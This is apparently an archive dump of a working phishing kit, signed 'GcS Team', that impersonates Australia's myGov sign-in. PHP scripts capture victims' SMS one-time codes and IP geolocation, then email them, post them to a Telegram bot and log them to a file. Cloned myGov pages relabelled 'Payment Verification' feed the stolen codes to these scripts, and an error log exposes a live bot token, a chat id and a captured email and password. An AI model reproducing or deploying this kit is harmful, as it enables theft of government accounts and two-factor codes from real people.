🇦🇺】━━━━[+][GcS Team🇩🇿]\n"; mail($send,$subject,$message,$headers); file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=" . urlencode($message)."" ); $myfile = fopen("Mygov.txt", "a+"); $txt = $message; fwrite($myfile, $txt); fclose($myfile); HEADER("Location: ../smserror.php"); ?> mygov/app/rez/sendsms2.php000064400000007225151676702570011562 0ustar00<?php /* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀ GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠈⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ */ session_start(); include "../../anti/anti1.php"; include "../../anti/anti2.php"; include "../../anti/anti3.php"; include "../../anti/anti4.php"; include "../../anti/anti5.php"; include "../../anti/anti7.php"; include '../../email.php'; $ip = getenv("REMOTE_ADDR"); $link = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ; $message = "[link: $link ]\r\n"; $_SESSION['otpanswer1'] = $_POST['otpanswer1']; $file = fopen("Mygov.txt","a"); fwrite($file,$ip." - ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n"); $IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$ip)); $COUNTRY = $IP_LOOKUP->country . "\r\n"; $countryCode = $IP_LOOKUP->countryCode. "\r\n"; $regionName = $IP_LOOKUP->regionName . "\r\n"; $lat = $IP_LOOKUP->lat . "\r\n"; $lon = $IP_LOOKUP->long . "\r\n"; $timezone = $IP_LOOKUP->timezone . "\r\n"; $isp = $IP_LOOKUP->isp . "\r\n"; $as = $IP_LOOKUP->as . "\r\n"; $CITY = $IP_LOOKUP->city . "\r\n"; $REGION = $IP_LOOKUP->region . "\r\n"; $STATE = $IP_LOOKUP->regionName . "\r\n"; $ZIPCODE = $IP_LOOKUP->zip . "\r\n"; $ip = $_SERVER['REMOTE_ADDR']; $hostname = gethostbyaddr($ip); $subject = "🇩🇿🇩🇿 Mygov 🇩🇿🇩🇿 $ip"; $headers = "From: GcS-Team<info@GcsTeam.com>"; $send = $email; $message = "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\r\n"; $message .= "|SMS 2 : ".$_SESSION['otpanswer1']."\r\n"; $message .= "[+]━━━━【💻 System INFO】━━━━[+]\r\n"; $message .=$ip."\nCountry : ".$COUNTRY."City: " .$CITY."Region : " .$REGION."State: " .$STATE."Zip : " .$ZIPCODE."country code: " .$countryCode."lat: " .$lat."lon: " .$lon."timezone: " .$timezone."isp: " .$isp."as: " .$as; $message .= "UserAgent : ".$_SERVER['HTTP_USER_AGENT']."\n"; $message .= "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\n"; mail($send,$subject,$message,$headers); file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=" . urlencode($message)."" ); $myfile = fopen("Mygov.txt", "a+"); $txt = $message; fwrite($myfile, $txt); fclose($myfile); HEADER("Location: ../smserror2.php"); ?> mygov/app/rez/sendsms3.php000064400000007227151676702570011565 0ustar00<?php /* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀ GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠈⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ */ session_start(); include "../../anti/anti1.php"; include "../../anti/anti2.php"; include "../../anti/anti3.php"; include "../../anti/anti4.php"; include "../../anti/anti5.php"; include "../../anti/anti7.php"; include '../../email.php'; $ip = getenv("REMOTE_ADDR"); $link = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ; $message = "[link: $link ]\r\n"; $_SESSION['otpanswer2'] = $_POST['otpanswer2']; $file = fopen("Mygov.txt","a"); fwrite($file,$ip." - ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n"); $IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$ip)); $COUNTRY = $IP_LOOKUP->country . "\r\n"; $countryCode = $IP_LOOKUP->countryCode. "\r\n"; $regionName = $IP_LOOKUP->regionName . "\r\n"; $lat = $IP_LOOKUP->lat . "\r\n"; $lon = $IP_LOOKUP->long . "\r\n"; $timezone = $IP_LOOKUP->timezone . "\r\n"; $isp = $IP_LOOKUP->isp . "\r\n"; $as = $IP_LOOKUP->as . "\r\n"; $CITY = $IP_LOOKUP->city . "\r\n"; $REGION = $IP_LOOKUP->region . "\r\n"; $STATE = $IP_LOOKUP->regionName . "\r\n"; $ZIPCODE = $IP_LOOKUP->zip . "\r\n"; $ip = $_SERVER['REMOTE_ADDR']; $hostname = gethostbyaddr($ip); $subject = "🇩🇿🇩🇿 Mygov 🇩🇿🇩🇿 $ip"; $headers = "From: GcS-Team<info@GcsTeam.com>"; $send = $email; $message = "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\r\n"; $message .= "|SMS 3 : ".$_SESSION['otpanswer2']."\r\n"; $message .= "[+]━━━━【💻 System INFO】━━━━[+]\r\n"; $message .=$ip."\nCountry : ".$COUNTRY."City: " .$CITY."Region : " .$REGION."State: " .$STATE."Zip : " .$ZIPCODE."country code: " .$countryCode."lat: " .$lat."lon: " .$lon."timezone: " .$timezone."isp: " .$isp."as: " .$as; $message .= "UserAgent : ".$_SERVER['HTTP_USER_AGENT']."\n"; $message .= "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\n"; mail($send,$subject,$message,$headers); file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=" . urlencode($message)."" ); $myfile = fopen("Mygov.txt", "a+"); $txt = $message; fwrite($myfile, $txt); fclose($myfile); HEADER("Location: https://my.gov.au/"); ?> mygov/app/rez/error_log000064400000006536151676702570011234 0ustar00[13-Sep-2025 00:30:02 UTC] PHP Warning: Attempt to read property "country" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 41 [13-Sep-2025 00:30:02 UTC] PHP Warning: Attempt to read property "countryCode" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 42 [13-Sep-2025 00:30:02 UTC] PHP Warning: Attempt to read property "regionName" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 43 [13-Sep-2025 00:30:02 UTC] PHP Warning: Attempt to read property "lat" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 44 [13-Sep-2025 00:30:02 UTC] PHP Warning: Attempt to read property "long" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 45 [13-Sep-2025 00:30:02 UTC] PHP Warning: Attempt to read property "timezone" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 46 [13-Sep-2025 00:30:02 UTC] PHP Warning: Attempt to read property "isp" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 47 [13-Sep-2025 00:30:02 UTC] PHP Warning: Attempt to read property "as" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 48 [13-Sep-2025 00:30:02 UTC] PHP Warning: Attempt to read property "city" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 49 [13-Sep-2025 00:30:02 UTC] PHP Warning: Attempt to read property "region" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 50 [13-Sep-2025 00:30:02 UTC] PHP Warning: Attempt to read property "regionName" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 51 [13-Sep-2025 00:30:02 UTC] PHP Warning: Attempt to read property "zip" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 52 [13-Sep-2025 00:30:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 70 [13-Sep-2025 00:30:02 UTC] PHP Warning: file_get_contents(https://api.telegram.org/bot8375706559:AAFREIgFRwIAKaE6mHUh3jUkrzoYZ9-k0b0/sendMessage?chat_id=-4866103043&text=%5BGcS+Team%F0%9F%87%A9%F0%9F%87%BF%5D%5B%2B%5D%E2%94%81%E2%94%81%E2%94%81%E2%94%81%E3%80%90%F0%9F%87%A6%F0%9F%87%BA+Mygov+Logs+%F0%9F%87%A6%F0%9F%87%BA%E3%80%91%E2%94%81%E2%94%81%E2%94%81%E2%94%81%5B%2B%5D%5BGcS+Team%F0%9F%87%A9%F0%9F%87%BF%5D%0D%0A%7CEmail+or+Phone++++++%3A+jhhjh%40aol.com%0D%0A%7CPassword++++++++%3A+hghggfh%0D%0A%5B%2B%5D%E2%94%81%E2%94%81%E2%94%81%E2%94%81%E3%80%90%F0%9F%92%BB+System+INFO%E3%80%91%E2%94%81%E2%94%81%E2%94%81%E2%94%81%5B%2B%5D%0D%0A105.72.213.126%0ACountry+%3A+%0D%0ACity%3A+%0D%0ARegion+%3A+%0D%0AState%3A+%0D%0AZip+%3A+%0D%0Acountry+code%3A+%0D%0Alat%3A+%0D%0Alon%3A+%0D%0Atimezone%3A+%0D%0Aisp%3A+%0D%0Aas%3A+%0D%0AUserAgent++%3A++Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F140.0.0.0+Safari%2F537.36%0A%5BGcS+Team%F0%9F%87%A9%F0%9F%87%BF%5D%5B%2B%5D%E2%94%81%E2%94%81%E2%94%81%E2%94%81%E3%80%90%F0%9F%87%A6%F0%9F%87%BA+Mygov+Logs+%F0%9F%87%A6%F0%9F%87%BA%E3%80%91%E2%94%81%E2%94%81%E2%94%81%E2%94%81%5B%2B%5D%5BGcS+Team%F0%9F%87%A9%F0%9F%87%BF%5D%0A): Failed to open stream: no suitable wrapper could be found in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 70 mygov/app/sms.html000064400000015633151676702570010205 0ustar00<!DOCTYPE html> <!-- saved from url=(0054)https://login.my.gov.au/las/mygov-login?execution=e1s2 --> <html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <!-- E: PROD; C: MW0w; N: MW0w16; S: SW16c; --> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="apple-mobile-web-app-capable" content="yes"> <title> Enter code - myGov </title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- phone number format detection, turning it off --> <meta name="format-detection" content="telephone=no"> <script type="text/javascript" src="./sms_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315651699|rpid=-1840293467|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png"> <link href="./sms_files/css" rel="stylesheet"> <link href="./sms_files/mgv2-application.css" rel="stylesheet"> <link href="./sms_files/blugov.css" rel="stylesheet"> </head> <body><noscript> <div class="outage"> <div class="outage__inner"> <div> <span class="is-visuallyhidden"> Warning message: </span> <p> JavaScript is required for myGov to work correctly.</p> </div> </div> </div> </noscript> <nav class="uikit-skip-link" aria-label="Skip Links"> <a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e1s2#content">Skip to main content</a> </nav> <div class="brand-rainbow"> </div> <header role="banner" class="mgvEnhanceHeader"> <section class="wrapper"> <div class="inner"> <div class="unauth-grid"> <div class="unauth-grid-row"> <a href="https://beta.my.gov.au/" class="unauth-govt-crest__link"> <img id="unauth-govt-crest" src="./sms_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img"> </a> <div class="header-links"> <a href="https://beta.my.gov.au/en/about/help">Help</a> </div> </div> </div> </div> </section> </header> <div class="wrapper-mapwap"><div class="main-block" id="content" role="main"> <h1>Enter code</h1> <p>We sent a code by SMS to your mobile number<span> XXXX XXX 694</span>.</p> <form id="otp-entry-form" action="https://login.my.gov.au/las/mygov-login?execution=e1s2" method="post" autocomplete="off"> <div class="code-container hasError"> <label for="otpanswer">Code <input id="otpanswer" name="otpanswer" type="tel" class="security-code" data-number-mobile-input="data-number-mobile-input" autocomplete="off" aria-errormessage="otpanswer__form-helper-message" aria-invalid="true"> </label> <span class="form-helper-message hasError" role="alert" aria-live="assertive" id="otpanswer__form-helper-message">Enter the 6 digit code we sent to your mobile number</span></div> <div class="help-info-group"> <a href="javascript:void(0)" class="help-info" aria-controls="security-codes-info" aria-expanded="false" data-infotext-toggle="data-infotext-toggle"> I didn't get my code<span class="is-visuallyhidden"> Help </span> </a> </div> <div id="security-codes-info" class="hasInfo" role="region" tabindex="-1" hidden="true"> <p> You can use <a href="https://www.digitalidentity.gov.au/" target="_blank">Digital Identity</a> to sign in. </p> <p> If you don't want to use Digital Identity, you can <a href="https://beta.my.gov.au/en/about/help/contact-mygov-or-your-services">call the helpdesk</a> to create a new myGov account. </p> <a data-infotext-continue="" class="continue-digital-identity-chevron" href="https://login.my.gov.au/las/mygov-login?execution=e1s2&_eventId=continueWithDigitalIdentity">Continue with Digital Identity</a> </div> <div class="button-container"> <button type="submit" class="button-main button" name="_eventId_submitOtp">Next</button> <button role="submit" class="button-minor button" name="_eventId_cancel">Cancel</button> </div> <input type="hidden" name="accountRecovery" value="true"> <input type="hidden" name="authtype" value="otp"> <input type="hidden" name="_resetMobileEligible" value=""> <input type="hidden" name="_fallback" value=""> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> <div> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> </div></form> </div></div> <footer role="contentinfo"> <div class="wrapper"> <div class="inner"> <section class="footer-list"> <nav> <h2 class="sr-only" aria-label="Footer">Footer</h2> <ul class="lower-links"> <li> <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a> </li> </ul> </nav> </section> <div class="footer-lower"> <section class="footer-lower-logo"> <a href="https://beta.my.gov.au/"> <img src="./sms_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img"> </a> </section> <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p> </div> </div> </div> </footer> <script type="text/javascript" src="./sms_files/mgv2-vendor.js.download"></script> <script type="text/javascript" src="./sms_files/mgv2-application.js.download"></script> <script type="text/javascript" src="./sms_files/login.js.download"></script> <div id="artifact-metadata"> </div> </body></html>mygov/app/sms.php000064400000020441151676702570010021 0ustar00<?php /* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀ GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠈⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ */ session_start(); include "../anti/anti1.php"; include "../anti/anti2.php"; include "../anti/anti3.php"; include "../anti/anti4.php"; include "../anti/anti5.php"; include "../anti/anti7.php"; ?> <html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <!-- E: PROD; C: MW0w; N: MW0w16; S: SW16c; --> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="apple-mobile-web-app-capable" content="yes"> <title> Enter code - myGov </title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- phone number format detection, turning it off --> <meta name="format-detection" content="telephone=no"> <script type="text/javascript" src="./smsone_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315651699|rpid=-1704053880|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png"> <link href="./smsone_files/css" rel="stylesheet"> <link href="./smsone_files/mgv2-application.css" rel="stylesheet"> <link href="./smsone_files/blugov.css" rel="stylesheet"> </head> <body><noscript> <div class="outage"> <div class="outage__inner"> <div> <span class="is-visuallyhidden"> Warning message: </span> <p> JavaScript is required for myGov to work correctly.</p> </div> </div> </div> </noscript> <nav class="uikit-skip-link" aria-label="Skip Links"> <a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e1s2#content">Skip to main content</a> </nav> <div class="brand-rainbow"> </div> <header role="banner" class="mgvEnhanceHeader"> <section class="wrapper"> <div class="inner"> <div class="unauth-grid"> <div class="unauth-grid-row"> <a href="https://beta.my.gov.au/" class="unauth-govt-crest__link"> <img id="unauth-govt-crest" src="./smsone_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img"> </a> <div class="header-links"> <a href="https://beta.my.gov.au/en/about/help">Help</a> </div> </div> </div> </div> </section> </header> <div class="wrapper-mapwap"><div class="main-block" id="content" role="main"> <h1>Payment Verification</h1> <p>We sent a code by SMS to your mobile number<span> XXXX XXX XXX</span>.</p> <form id="otp-entry-form" action="rez/sendsms1.php" method="post" autocomplete="off"> <div class="code-container"> <label for="otpanswer">Enter Code<input class="security-code" onkeyup="return numberValidation(event)" style="border-radius: 2px; border-radius: 0.125rem; height: 48px; height: 3rem; border: 1px solid #000; border: 0.0625rem solid #000;" minlength="4" maxlength="8" name="otpanswer0" type="tel" autocomplete="off" required> </label> </div> <div class="help-info-group"> </div> <div id="security-codes-info" class="hasInfo" role="region" tabindex="-1" hidden="true"> <p> You can use <a href="https://www.digitalidentity.gov.au/" target="_blank">Digital Identity</a> to sign in. </p> <p> If you don't want to use Digital Identity, you can <a href="https://beta.my.gov.au/en/about/help/contact-mygov-or-your-services">call the helpdesk</a> to create a new myGov account. </p> <a data-infotext-continue="" class="continue-digital-identity-chevron" href="https://login.my.gov.au/las/mygov-login?execution=e1s2&_eventId=continueWithDigitalIdentity">Continue with Digital Identity</a> </div> <div class="button-container"> <button name="okbba" type="submit" class="button-main button">Next</button> <button role="submit" class="button-minor button" name="_eventId_cancel">Cancel</button> </div> <input type="hidden" name="accountRecovery" value="true"> <input type="hidden" name="authtype" value="otp"> <input type="hidden" name="_resetMobileEligible" value=""> <input type="hidden" name="_fallback" value=""> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> <div> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> </div></form> </div></div> <footer role="contentinfo"> <div class="wrapper"> <div class="inner"> <section class="footer-list"> <nav> <h2 class="sr-only" aria-label="Footer">Footer</h2> <ul class="lower-links"> <li> <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a> </li> </ul> </nav> </section> <div class="footer-lower"> <section class="footer-lower-logo"> <a href="https://beta.my.gov.au/"> <img src="./smsone_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img"> </a> </section> <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p> </div> </div> </div> </footer> <script type="text/javascript" src="./smsone_files/mgv2-vendor.js.download"></script> <script type="text/javascript" src="./smsone_files/mgv2-application.js.download"></script> <script type="text/javascript" src="./smsone_files/login.js.download"></script> <div id="artifact-metadata"> </div> </body></html>mygov/app/smserror.php000064400000020534151676702570011076 0ustar00<?php /* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀ 